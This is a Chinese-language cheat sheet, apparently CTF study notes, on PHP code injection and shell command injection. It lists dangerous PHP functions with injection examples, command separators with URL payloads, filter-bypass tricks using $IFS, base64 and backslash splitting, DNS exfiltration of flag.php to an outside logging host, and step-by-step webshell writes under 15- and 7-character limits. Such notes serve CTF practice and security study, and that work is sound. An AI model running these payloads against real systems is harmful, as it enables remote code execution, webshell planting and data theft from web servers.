相關函數
代碼注入
-
eval()
傳入的必須是有效的 PHP 代碼。所有的語句必須以分號結尾。
return 語句會立即中止當前字符串的執行。代碼執行的作用域是調用 eval() 處的作用域。因此,eval() 里任何的變量定義、修改,都會在函數結束后被保留。
-
assert()
-
call_user_func()/call_user_func_array()
可以傳遞任何內置函數或用戶自定義函數,除了語言結構如array(),echo(),empty(),eval(),exit(),isset(),list(),print(),unset()
-
create_function()
-
usort()/uasort()
例如:
?1[]=phpinfo()&1[]=123&2=assert usort($_GET[1],'assert');
-
${php代碼}
例如:${phpinfo()};
-
ob_start()
命令執行
-
system()
-
exec()/shell_exec()
-
passthru
-
``運算符
命令執行的繞過
命令執行的分隔符
例子:system("echo ".$_GET[1]);
功能 | 符號 | payload |
---|---|---|
換行符 | %0a | ?1=123%0apwd |
回車符 | %0d | 同上 |
連續指令 | ; | ?1=123;pwd |
后台進程 | & | ?1=123&pwd |
管道符 | |(顯示后面語句的結果) | ?1=123|pwd |
邏輯運算 | ||或&& | ?1=123||pwd |
空格代替
- <符號
- $IFS(好像有問題)
- ${IFS}
- $IFS$9
- %09用於url傳遞
繞過
- a=l;b=s;$a$b
- `echo d2hvYW1p|base64 -D`
- linux命令中可以加
\
,所以甚至可以ca\t /fl\ag
'l's
同上
命令執行的各種符號
使用env命令查看本地變量,expr substr來截取需要的字符,拼接成命令執行
例如:
echo "${PATH:0:1}"
echo "`expr$IFS\substr\$IFS\$(pwd)\$IFS\1\$IFS\1`"
echo $(expr${IFS}substr${IFS}$PWD${IFS}1${IFS}1)
expr${IFS}substr${IFS}$SESSION_MANAGER${IFS}6${IFS}1
命令無回顯的情況
判斷
-
延時
例子:ls;sleep 3
-
http請求/dns請求
http://ceye.io/payloads
利用
- 寫shell(直接寫入/外部下載)
- echo >
- wget
- http/dns等方式帶出數據
需要去掉空格,可以使用sed等命令
如:echo `cat flag.php|sed s/[[:space:]]//`.php.xxxxxx.ceye.io
可控字符串長度受限
15個字符
echo \<?php >1
echo eval\(>>1
echo \$_GET>>1
echo \[1\]>>1
echo \)\;>>1
mv 1 1.php
7個字符
思路:
1、命令+>文件名
可以生產文件(命令可以為空)
2、ls -t
可以將文件按時間順序排列
3、sh
命令可以執行sh腳本
4、base64命令可以避免特殊字符
5、\可以分行輸入命令
w>hp
w>1.p\\
w>d\>\\
w>\ -\\
w>e64\\
w>bas\\
w>7\|\\
w>XSk\\
w>Fsx\\
w>dFV\\
w>kX0\\
w>bCg\\
w>XZh\\
w>AgZ\\
w>waH\\
w>PD9\\
w>o\ \\
w>ech\\
ls -t|\
sh
無數字字母getshell
- 思路:異或、取反
- 例子:
$_='<>]=@^<'^'[[){,?[';//$_='getFlag'\n $_();//getFlag()